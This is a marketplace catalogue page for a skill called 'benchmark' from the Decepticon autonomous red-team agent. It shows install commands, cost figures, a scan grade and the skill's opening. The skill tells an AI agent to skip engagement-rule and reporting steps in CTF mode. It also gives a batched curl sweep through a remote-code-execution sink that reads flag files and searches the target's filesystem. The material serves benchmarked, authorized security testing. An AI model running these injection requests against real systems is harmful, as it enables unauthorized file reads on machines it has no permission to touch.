Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/purpleailab/decepticon/benchmarknpx skills add PurpleAILAB/Decepticon --skill benchmarkgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/benchmark)<a href="https://agentmods.dev/skills/purpleailab/decepticon/benchmark"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/benchmark.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00018 | $0.01566 |
| Opus 5 | $0.00009 | $0.00783 |
| Sonnet 5 | $0.00004 | $0.00313 |
| Haiku 4.5 | $0.00002 | $0.00157 |
Grade A, and why
benchmark scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Generic skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confi How it starts
The opening of the file, as written. The whole thing — 119 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Benchmark Mode
The engagement objective is flag capture. Per-challenge context
(target URL, vulnerability tags, flag format, mission brief, extra
service ports) is injected into the system message every model call by
EngagementContextMiddleware — read it; do NOT duplicate it here, and
do NOT ask the operator for it.
Suspended CRITICAL_RULES under benchmark mode
- Rule 8 (Startup Required) — flag IS the deliverable; no roe/conops/deconfliction.
- Rule 9 (Final Report) — no executive summary; the flag string is the report.
All other CRITICAL_RULES remain active. Recon→exploit ordering, OPPLAN
discipline, no-bash-in-orchestrator, tag routing, OPSEC, and budget
pacing live in their owning prompts/skills (see decepticon.md Rules
20/22, the recon/exploit agent prompts, and /skills/standard/exploit/web/SKILL.md
for vuln routing).
SHORT-CIRCUIT — flag/credential found
When a sub-agent (recon or exploit) returns a verified flag or flag-equivalent credential:
update_objectiveremaining objectives topassed.- Your VERY NEXT response is the final answer, re-echoing the flag
VERBATIM in the format announced by the middleware (e.g.
Flag captured: FLAG{<value>}). The harness scans ONLY the orchestrator's final message — if the flag string lives only inside a sub-agent return, it is LOST.
Flag-path sweep (after RCE confirmed)
Generic skills under /skills/standard/exploit/web/ (command-injection/SKILL.md, cve/SKILL.md, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (id, hostname, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:
# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.
for f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \
/home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \
/var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do
result=$(curl -s "http://<TARGET>/<RCE_SINK>?cmd=cat+$f" 2>/dev/null | head -5)
[ -n "$result" ] && echo "=== $f ===" && echo "$result"
done | tee /tmp/flag_sweep.txt
head -50 /tmp/flag_sweep.txt
# Broad flag-filename find (when path is non-standard)
curl -s "http://<TARGET>/<RCE_SINK>?cmd=find+/+-type+f+\(-name+'flag*'-o+-name+'FLAG*'\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null" \
-o /tmp/find_flag.txt
head -20 /tmp/find_flag.txt
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 119 lines · 18 tokens per session scan A 27760619f894
benchmark is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,436 stars, last pushed 5d ago), licensed Apache-2.0. It adds 18 tokens to every session and 1,566 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
add-model
Add a new language model to the Giselle codebase. Use when the user wants to add, register, or integrate a new LLM model (OpenAI, Anthropic, Google) into the system.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
fx-notes
Fixture skill fx-notes.